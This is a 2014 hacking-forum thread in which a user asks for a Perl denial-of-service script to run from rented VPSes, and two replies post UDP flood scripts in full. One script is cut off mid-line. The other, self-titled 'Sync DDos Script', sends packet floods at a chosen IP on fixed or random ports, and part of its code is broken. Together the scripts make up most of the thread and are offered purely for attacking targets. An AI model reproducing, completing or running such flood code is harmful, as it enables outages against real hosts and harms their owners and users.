Hack Forums
I can get unlimited 100MB/s vpses centos/ubuntu/vps i just need a PERL dos script - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Botnets and Botting (https://hackforums.net/forumdisplay.php?fid=92)
+---- Thread: I can get unlimited 100MB/s vpses centos/ubuntu/vps i just need a PERL dos script (/showthread.php?tid=4019327)

I can get unlimited 100MB/s vpses centos/ubuntu/vps i just need a PERL dos script - Ebay Freak - Jan 25, 2014

As the title says.

i need a perl dos script!

anyone have it ?

* - Sasha Grey - Jan 25, 2014

#!/usr/bin/perl

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Invalid Command $ip\n";
$endtime = time() + ($time ? $time : 1000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print <<EOTEXT;
Booting statistics:
EOTEXT

print "~UDP Attacking~ $ip " . ($port ? $port : "on random ports") . "
Trying to drop a connection with " .
($size ? "$size-bytes" : "a random packetsize") . "
Booting this IP for" .
($time ? " for $time seconds" : "") . "\n";
print "To stop the attack type Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1500000-64)+64) ;
$pport = $port ? $port : int(rand(65000))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,

https://hackforums.net/showthread.php?tid=4004151&highlight=perl+dos+script This is the thread which I found it in.

* - Private666 - Jan 25, 2014

Here you go mate it's alot better.

PHP Code

<?php 
#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "To initiate a UDP Flood\n";
 printf "perl $0 ip port time\n";
 printf "Coded by Sync\n";
 printf "Gain the knowledge.\n";
 exit(1);
}
print <<EOTEXT;
  ______            
 /   _____/__.__. ____   ____  
 \_____  <   |  |/    \_/ ___\ 
 /      \___  |   |  \  \___ 
/______  / ____|___|  /\___  >
      \/\/      \/     \/ 

He who is a Bitch, must pay the price without his net.
EOTEXT
my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "Sync DDos Script\n";
printf "Attack Started $ip on port $port with mass packets\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 95500) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}